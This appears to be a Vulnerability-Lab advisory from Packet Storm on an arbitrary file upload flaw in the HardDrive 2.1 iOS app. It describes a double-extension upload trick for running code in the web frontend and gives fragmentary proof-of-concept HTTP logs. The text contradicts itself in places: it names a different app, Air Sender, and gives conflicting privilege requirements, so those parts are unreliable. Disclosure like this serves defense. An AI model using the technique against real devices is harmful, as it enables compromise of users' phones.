HardDrive 2.1 Arbitrary File Upload

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  • HardDrive version 2.1 for iOS suffers from an arbitrary file upload vulnerability.
    MD5 | 695c62431428b0200073ffddb04b953a

    Document Title:  
    HardDrive v2.1 iOS - Arbitrary File Upload Vulnerability  
    References (Source):  
    Release Date:  
    Vulnerability Laboratory ID (VL-ID):  
    Common Vulnerability Scoring System:  
    Vulnerability Class:  
    Arbitrary File Upload  
    Current Estimated Price:  
    1.000€ - 2.000€  
    Product & Service Introduction:  
    Store+Organize+Edit+Protect+Import+Download+View+Share your files right  
    from your iPhone! Transform your  
    iPhone/iPod touch into a real HardDrive with no extra cable or software.  
    (Copy of the Homepage: https://apps.apple.com/ch/app/harddrive/id383226784 )  
    Abstract Advisory Information:  
    The vulnerability laboratory core research team discovered an arbitrary  
    file upload vulnerability in the official Air Sender v1.0.2 mobile ios  
    Affected Product(s):  
    Sebastien BUET  
    HardDrive v2.1 - Apple iOS Mobile Web Application  
    Vulnerability Disclosure Timeline:  
    2020-04-29: Public Disclosure (Vulnerability Laboratory)  
    Discovery Status:  
    Exploitation Technique:  
    Severity Level:  
    Authentication Type:  
    Pre auth - no privileges  
    User Interaction:  
    No User Interaction  
    Disclosure Type:  
    Independent Security Research  
    Technical Details & Description:  
    An arbitrary file upload web vulnerability has been discovered in the  
    official Air Sender v1.0.2 iOS mobile application.  
    The web vulnerability allows remote attackers to upload arbitrary files  
    to compromise for example the file system of a service.  
    The arbitrary upload vulnerability is located in the within the  
    web-server configuration when using the upload module.  
    Remote attackers are able to bypass the local web-server configuration  
    by an upload of malicious webshells. Attackers  
    are able to inject own files with malicious `filen` values in the  
    `upload` POST method request to compromise the  
    mobile web-application. The application does not perform checks for  
    multiple file extensions. Thus allows an attacker  
    to upload for example to upload a html.js.png file. After the upload the  
    attacker requests the original url source  
    with the uploaded file and removes the unwanted extension to execute the  
    code in the unprotected web-frontend.  
    The security risk of the vulnerability is estimated as high with a  
    common vulnerability scoring system count of 7.0.  
    Exploitation of the web vulnerability requires a low privilege ftp  
    application user account and no user interaction.  
    Successful exploitation of the arbitrary file upload web vulnerability  
    results in application or device compromise.  
    Request Method(s):  
    [+] POST  
    Vulnerable Module(s):  
    [+] ./upload  
    Vulnerable File(s):  
    [+] file  
    Proof of Concept (PoC):  
    The arbitrary file upload web vulnerability can be exploited by remote  
    attackers without user interaction or privileged user accounts.  
    For security demonstration or to reproduce the web vulnerability follow  
    the provided information and steps below to continue.  
    PoC: Vulnerable Source (File Dir Listing Index)  
    <tr><td width="100px" valign="middle" align="left"><img  
    src="exploit.html"></td><td width="300px" valign="middle" align="left">  
    <a href="exploit.html.js">exploit.html.js</a></td> <td width="454px"  
    valign="middle" align="left">  
    <em valign="middle" align="center">size: 256.7 Kb  
    PoC: Exploitation  
    --- PoC Session Logs [POST] --- (file)  
    Host: localhost:50071  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
    Gecko/20100101 Firefox/75.0  
    Accept-Language: en-US,en;q=0.5  
    Accept-Encoding: gzip, deflate  
    Content-Type: multipart/form-data;  
    Content-Length: 263181  
    Origin: http://localhost:50071  
    Connection: keep-alive  
    Referer: http://localhost:50071/  
    POST: HTTP/1.1 200 OK  
    Accept-Ranges: bytes  
    Content-Length: 381654  
    Host: localhost:50071  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
    Gecko/20100101 Firefox/75.0  
    Accept: image/webp,*/*  
    Accept-Language: en-US,en;q=0.5  
    Accept-Encoding: gzip, deflate  
    Connection: keep-alive  
    GET: HTTP/1.1 200 OK  
    Accept-Ranges: bytes  
    Content-Length: 366735  
    Security Risk:  
    The security risk of the arbitrary file upload web vulnerability in the  
    wifi ui of the mobile application is estimated as high.  
    Credits & Authors:  
    Vulnerability-Lab -  
    Benjamin Kunz Mejri -  
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    The information provided in this advisory is provided as it is without  
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    deface websites, hack into databases or trade with stolen data.  
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    Source: packetstormsecurity.com

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